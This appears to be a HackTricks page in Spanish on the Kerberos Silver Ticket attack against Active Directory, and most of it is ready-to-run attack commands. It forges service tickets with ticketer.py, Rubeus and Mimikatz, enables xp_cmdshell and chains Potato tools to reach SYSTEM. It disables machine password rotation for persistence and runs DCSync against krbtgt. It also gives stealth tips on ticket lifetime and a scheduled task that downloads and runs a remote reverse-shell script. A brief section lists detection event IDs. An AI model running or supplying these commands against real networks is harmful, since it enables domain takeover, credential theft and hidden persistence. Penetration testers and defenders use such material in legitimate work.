Silver Ticket
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Silver ticket
El ataque Silver Ticket implica la explotación de service tickets en entornos Active Directory (AD). Este método se basa en adquirir el hash NTLM de una cuenta de servicio, como una cuenta de equipo, para forjar un Ticket Granting Service (TGS) ticket. Con este ticket forjado, un atacante puede acceder a servicios específicos en la red, suplantando a cualquier usuario, normalmente con el objetivo de obtener privilegios administrativos. Se enfatiza que usar claves AES para forjar tickets es más seguro y menos detectable.
Warning
Silver Tickets son menos detectables que Golden Tickets porque solo requieren el hash de la cuenta de servicio, no la cuenta krbtgt. Sin embargo, están limitados al servicio específico que atacan. Además, basta con robar la contraseña de un usuario. Si comprometes la contraseña de una cuenta que tenga un SPN puedes usar esa contraseña para crear un Silver Ticket que suplante a cualquier usuario ante ese servicio.
Modern Kerberos changes (AES-only domains)
- Windows updates starting 8 Nov 2022 (KB5021131) default service tickets to AES session keys when possible and are phasing out RC4. DCs are expected to ship with RC4 disabled by default by mid‑2026, so relying on NTLM/RC4 hashes for silver tickets increasingly fails with
KRB_AP_ERR_MODIFIED. Always extract AES keys (aes256-cts-hmac-sha1-96/aes128-cts-hmac-sha1-96) for the target service account. - If the service account
msDS-SupportedEncryptionTypesis restricted to AES, you must forge with/aes256or-aesKey; RC4 (/rc4or-nthash) will not work even if you hold the NTLM hash. - gMSA/computer accounts rotate every 30 days; dump the AES key actual from LSASS, Secretsdump/NTDS, or DCsync before forging.
- OPSEC: default ticket lifetime in tools is often 10 years; set realistic durations (e.g.,
-duration 600minutes) to avoid detection by abnormal lifetimes.
For ticket crafting, different tools are employed based on the operating system:
En Linux
# Forge with AES instead of RC4 (supports gMSA/machine accounts)
python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn <SERVICE_PRINCIPAL_NAME> <USER>
# or read key directly from a keytab (useful when only keytab is obtained)
python ticketer.py -keytab service.keytab -spn <SPN> -domain <DOMAIN> -domain-sid <DOMAIN_SID> <USER>
# shorten validity for stealth
python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn cifs/<HOST_FQDN> -duration 480 <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
En Windows
# Using Rubeus to request a service ticket and inject (works when you already have a TGT)
# /ldap option is used to get domain data automatically
rubeus.exe asktgs /user:<USER> [/aes256:<HASH> /aes128:<HASH> /rc4:<HASH>] \
/domain:<DOMAIN> /ldap /service:cifs/<TARGET_FQDN> /ptt /nowrap /printcmd
# Forging the ticket directly with Mimikatz (silver ticket => /service + /target)
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
/aes256:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"
# RC4 still works only if the DC and service accept RC4
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
/rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"
# Inject an already forged kirbi
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
El servicio CIFS se destaca como un objetivo común para acceder al sistema de archivos de la víctima, pero otros servicios como HOST y RPCSS también pueden ser explotados para tareas y consultas WMI.
Ejemplo: servicio MSSQL (MSSQLSvc) + Potato para SYSTEM
Si tienes el hash NTLM (o la clave AES) de una cuenta de servicio SQL (p. ej., sqlsvc) puedes forjar un TGS para el SPN MSSQL e impersonate a cualquier usuario ante el servicio SQL. Desde allí, habilita xp_cmdshell para ejecutar comandos como la cuenta de servicio SQL. Si ese token tiene SeImpersonatePrivilege, encadena un Potato para elevarte a SYSTEM.
# Forge a silver ticket for MSSQLSvc (AES example)
python ticketer.py -aesKey <SQLSVC_AES256> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache
# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
- Si el contexto resultante tiene SeImpersonatePrivilege (a menudo cierto para cuentas de servicio), usa una variante de Potato para obtener SYSTEM:
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
Más detalles sobre cómo abusar de MSSQL y habilitar xp_cmdshell:
Potato techniques overview:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Servicios disponibles
| Service Type | Service Silver Tickets |
|---|---|
| WMI |
HOST RPCSS |
| PowerShell Remoting |
HOST HTTP Depending on OS also: WSMAN RPCSS |
| WinRM |
HOST HTTP In some occasions you can just ask for: WINRM |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools |
RPCSS LDAP CIFS |
| Golden Tickets | krbtgt |
Using Rubeus you may ask for all these tickets using the parameter:
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
Silver tickets - IDs de eventos
- 4624: Account Logon
- 4634: Account Logoff
- 4672: Admin Logon
- No preceding 4768/4769 on the DC for the same client/service is a common indicator of a forged TGS being presented directly to the service.
- Abnormally long ticket lifetime or unexpected encryption type (RC4 when domain enforces AES) also stand out in 4769/4624 data.
Persistencia
Para evitar que las máquinas roten su contraseña cada 30 días, establece HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1 o puedes configurar HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge a un valor mayor que 30 días para indicar el período de rotación cuando la contraseña de la máquina debería rotarse.
Abusar de Service tickets
En los siguientes ejemplos, imaginemos que el ticket se obtuvo suplantando la cuenta de administrador.
CIFS
Con este ticket podrás acceder a las carpetas C$ y ADMIN$ vía SMB (si están expuestas) y copiar archivos a una parte del sistema de archivos remoto haciendo algo como:
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
También podrás obtener una shell dentro del host o ejecutar comandos arbitrarios usando psexec:
HOST
Con este permiso puedes generar tareas programadas en equipos remotos y ejecutar comandos arbitrarios:
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
HOST + RPCSS
Con estos tickets puedes ejecutar WMI en el sistema de la víctima:
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
Encuentra más información sobre wmiexec en la siguiente página:
HOST + WSMAN (WINRM)
Con acceso winrm a un equipo puedes acceder a él e incluso obtener un PowerShell:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
Consulta la siguiente página para aprender más formas de conectar con un host remoto usando winrm:
Warning
Ten en cuenta que winrm debe estar activo y escuchando en el equipo remoto para acceder a él.
LDAP
Con este privilegio puedes volcar la base de datos del DC usando DCSync:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
Aprende más sobre DCSync en la siguiente página:
Referencias
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027
- HTB Sendai – 0xdf: Silver Ticket + Potato path
- KB5021131 Kerberos hardening & RC4 deprecation
- Impacket ticketer.py current options (AES/keytab/duration)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


